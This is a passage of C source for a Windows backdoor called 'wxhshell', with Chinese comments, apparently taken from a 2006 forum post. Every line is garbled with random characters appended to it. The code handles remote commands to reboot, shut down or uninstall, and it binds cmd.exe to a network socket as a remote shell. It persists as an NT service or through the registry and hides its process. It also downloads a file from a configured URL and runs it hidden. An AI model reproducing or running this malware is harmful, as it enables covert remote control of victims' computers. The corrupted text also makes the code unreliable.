      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5e8AmY8;  
    break; }28=  
  } 9LJZ-/Wq  
  // 安装 LPd\-S_rsP  
  case 'i': { f9$xk|2g  
    if(Install()) BqK(DH^9N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  l! bv^  
    else i]{1^pKq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kS5_&#  
    break; KJn!Ap  
    } *XOJnyC_H  
  // 卸载 R"v 3!P  
  case 'r': { nk"NmIf  
    if(Uninstall()) (rtY!<|p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |OO in]5  
    else *jq7X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "_UdBG  
    break; }n:?7  
    } >R,'5:Rw  
  // 显示 wxhshell 所在路径 _*M42<wcO  
  case 'p': { g`^X#-!(  
    char svExeFile[MAX_PATH]; bBcp9C)iY  
    strcpy(svExeFile,"\n\r"); n"Veem[_4g  
      strcat(svExeFile,ExeFile); !%(h2]MQ  
        send(wsh,svExeFile,strlen(svExeFile),0); Fh|#u:n  
    break; iSLGwTdLn  
    } ,i9Byx#TN  
  // 重启 Ga>uFb}W~  
  case 'b': { ZzGahtx)Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y m,H@~  
    if(Boot(REBOOT)) iRo.RU8>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9# 4Y1LS)  
    else { #FOqP!p.E  
    closesocket(wsh); Cs3^9m6;d  
    ExitThread(0); y;cUl, :v  
    } B_`y|sn  
    break; EI~"L$?  
    } `$LWmm#  
  // 关机 Yj|eji7y  
  case 'd': { 3chPY4~A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lA(Q@yEW  
    if(Boot(SHUTDOWN)) }GMbBZ:nKK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$ACDX2  
    else { p^kUs0$GS  
    closesocket(wsh); w>fdQ!RdP  
    ExitThread(0); -Y#sI3o*R8  
    } j1q[2'  
    break; #eZ6)i<  
    } Di_2Plo)4  
  // 获取shell l ASL8O&\  
  case 's': { g>0XxjP4  
    CmdShell(wsh); ^efb 5  
    closesocket(wsh); sxKf&p;  
    ExitThread(0); b+-f.!j  
    break; V"o7jsFH6n  
  } 0kQPJWF  
  // 退出 \6?A!w~6  
  case 'x': { =h6 sPJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hRI"y":zD  
    CloseIt(wsh); G|w=ez  
    break; nMfFH[I4  
    } 4D%9Rc0 G  
  // 离开 m"\:o  
  case 'q': { HjqB^|z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <$w?/y/'  
    closesocket(wsh); o}Odw;  
    WSACleanup(); HmfG$Z  
    exit(1); 1(zsOeX  
    break; /yz=Cjoz  
        } E9|eu\  
  } l\AMl \  
  } l.\re"Q  
u<q :$  
  // 提示信息 e~ aqaY~}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ xOzzp4  
} \~d";~Y`  
  } EV#MQM  
oRKEJ Nps  
  return; O1 .w,U  
} n?\ nn3  
<Llp\XcZ  
// shell模块句柄 fP tm0.r  
int CmdShell(SOCKET sock) , P'P^0qJ  
{ {e|*01hE  
STARTUPINFO si; QIN."&qC^  
ZeroMemory(&si,sizeof(si)); cYx4~V^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ; Sd\VR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q9d`zR]  
PROCESS_INFORMATION ProcessInfo; lf>*Y.!@me  
char cmdline[]="cmd"; jztq.2-c#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,\ 2a=Fp  
  return 0; 6Ao%>;e*  
} H/M Au7  
*`j-i  
// 自身启动模式 Zh5RwQNE~  
int StartFromService(void) tt%MoQ)   
{ Y+4o B  
typedef struct 5Zmw} M  
{ *5zrZ]^  
  DWORD ExitStatus; xD&^j$Em  
  DWORD PebBaseAddress; ve ~05mg  
  DWORD AffinityMask; nf 1#tlIJd  
  DWORD BasePriority; "'g[1Li  
  ULONG UniqueProcessId; ug{R 3SS  
  ULONG InheritedFromUniqueProcessId; uE[(cko  
}   PROCESS_BASIC_INFORMATION; 9ukg}_Hx  
r1ws1 rr=  
PROCNTQSIP NtQueryInformationProcess; TI9UXa:V\  
Q0Nyqhvi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c4_`Ew^k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {_(\` >  
2=?tJ2E  
  HANDLE             hProcess; _#$ *y  
  PROCESS_BASIC_INFORMATION pbi; :16P.z1L  
%{3 aW>yx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2tROT][J%  
  if(NULL == hInst ) return 0; K"<PGOF  
^xf<nNF:p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l5+gsEux]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0y<wvLv2C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7?B.0>$3>V  
Z~A@o ""F  
  if (!NtQueryInformationProcess) return 0; {bO|409>W  
[^8n0{JiN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e]=!"nJ+  
  if(!hProcess) return 0; -XRn~=5   
3nY1[,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }HE6aF62O  
!*2%"H*  
  CloseHandle(hProcess); dd?x(,"A`  
0y&I/2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2_Wg!bq  
if(hProcess==NULL) return 0; CG'.:` t  
lpH=2l$>?  
HMODULE hMod; Ro2d,'   
char procName[255]; O D Ur  
unsigned long cbNeeded; 7iJ&6=/  
!v]b(z`Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <p;k)S2J  
E7Cy(LO  
  CloseHandle(hProcess); rF\ "w0J_  
= 8gHS[  
if(strstr(procName,"services")) return 1; // 以服务启动 zI~owK)%Z  
47r_y\U h  
  return 0; // 注册表启动 g%u&Zkevx  
} 56 l@a{  
~}K5#<   
// 主模块 8q`$y$06Dk  
int StartWxhshell(LPSTR lpCmdLine) ^-FRTC  
{ |[9?ma  
  SOCKET wsl; CF|]e:  
BOOL val=TRUE; GE|+fYVM-$  
  int port=0; ~[k%oA%W  
  struct sockaddr_in door; UD~p'^.m_  
i&8FBV-  
  if(wscfg.ws_autoins) Install(); PA6=wfc  
mAk{"65V  
port=atoi(lpCmdLine); [FUjnI  
<o2r~E0r3  
if(port<=0) port=wscfg.ws_port; A]L%dFK  
??hJEE  
  WSADATA data; jL)WPq!m+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KJE[+R H+z  
IlX$YOf4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |^28\sm2e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iTW? W\d  
  door.sin_family = AF_INET; Bx[rC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %AOIKK5  
  door.sin_port = htons(port); 8G>>i)Sbg  
~j#~ \Ir  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V|)>{Xdn  
closesocket(wsl); VL9-NfeqR  
return 1; Y^%T}yTtq  
} n;R#,!<P  
`si#aU  
  if(listen(wsl,2) == INVALID_SOCKET) { Oi"a:bCU  
closesocket(wsl); ylKmj]A  
return 1; 9+,R`v  
} t6c<kIQ:-O  
  Wxhshell(wsl); v){ .Z^_C  
  WSACleanup(); jkiTj~WE-  
RFh"&0[  
return 0; rQTr8DYH  
/yLZ/<WN  
} 6 \B0^  
\.XLcz  
// 以NT服务方式启动 2cu#lMq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HE<1v@jW  
{ ,:+d g(\r  
DWORD   status = 0; +.RKi !  
  DWORD   specificError = 0xfffffff; ] 4+s$rG  
PL{Q!QJK'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BQ^H? jo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PNW \*;j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7^} Ll@  
  serviceStatus.dwWin32ExitCode     = 0; /S:F)MO9  
  serviceStatus.dwServiceSpecificExitCode = 0; yBLK$@9  
  serviceStatus.dwCheckPoint       = 0; p2PY@d}}.  
  serviceStatus.dwWaitHint       = 0; cNzt%MjP  
(]/9-\6(#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bbxLBD'  
  if (hServiceStatusHandle==0) return; {%w!@-  
co _oMc  
status = GetLastError(); !~_zm*CqbZ  
  if (status!=NO_ERROR) tgL$"chj@x  
{ y{q*s8NY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zU6a't P  
    serviceStatus.dwCheckPoint       = 0; j QU"Ved  
    serviceStatus.dwWaitHint       = 0; K!D o8|  
    serviceStatus.dwWin32ExitCode     = status; yV)m"j  
    serviceStatus.dwServiceSpecificExitCode = specificError; {f9{8-W <u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0oy-os  
    return; jClj_E  
  } 7\o!HMfK  
[6jbgW~E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ch5s<x#CE  
  serviceStatus.dwCheckPoint       = 0; >]'yK!a?  
  serviceStatus.dwWaitHint       = 0; 9*6]&:fm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ck#"*] ,  
} wix5B@  
Li 2Zndp  
// 处理NT服务事件,比如:启动、停止 wwKh CmH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n(~\l#o@  
{ L.6WiVP)  
switch(fdwControl) 'H9=J*9oG  
{ Bs`$ i ;&  
case SERVICE_CONTROL_STOP: N__H*yP  
  serviceStatus.dwWin32ExitCode = 0; _F p>F  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DjMf,wX-{  
  serviceStatus.dwCheckPoint   = 0; (Lh#`L?x  
  serviceStatus.dwWaitHint     = 0; s!/TU{8J  
  { vUC!fIG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /R X1UQ.s  
  } O!D/|.Q#%  
  return; u% 2<\:~j  
case SERVICE_CONTROL_PAUSE: ]L2Oz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PIcrA2ll  
  break; 2EQ 6J  
case SERVICE_CONTROL_CONTINUE: 0;sRJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8GJdRL(  
  break; a )*6gf<5  
case SERVICE_CONTROL_INTERROGATE: 3*DXE9gA9  
  break; ^GN8V-X4y  
}; QbYc[8-[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Tz85 [%6  
} x4Rk<Th"o  
\(I6_a_{  
// 标准应用程序主函数 Z.Rb~n&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c*\<,n_  
{ b7C e%Br  
9?+9UlJ7K  
// 获取操作系统版本 mzL[/B#>M  
OsIsNt=GetOsVer(); ]O:M$ $  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _i}wK?n  
L{ gE'jCC  
  // 从命令行安装 ,xJrXPW  
  if(strpbrk(lpCmdLine,"iI")) Install(); rl:KJ\*D  
g1DmV,W-Q  
  // 下载执行文件 T+"f]v  
if(wscfg.ws_downexe) { 8F;>5i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1;u4X`8  
  WinExec(wscfg.ws_filenam,SW_HIDE); K0+ ;b u  
} "cho }X  
lD;'tqaC  
if(!OsIsNt) { dAx96Og:X"  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]pTvMom$6  
HideProc(); BpAB5=M0  
StartWxhshell(lpCmdLine); B7Ntk MK  
} 5,+\`!g  
else )J/HkOj"V  
  if(StartFromService()) ScnY3&rc  
  // 以服务方式启动 toa-Wa{  
  StartServiceCtrlDispatcher(DispatchTable); 8uG0^h}  
else _3Q8n|  
  // 普通方式启动 Mjpo1dw  
  StartWxhshell(lpCmdLine); bggusK<  
WoL9V"]  
return 0; B_3QQ tjAl  
}
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只看该作者 1 发表于: 2006-10-10
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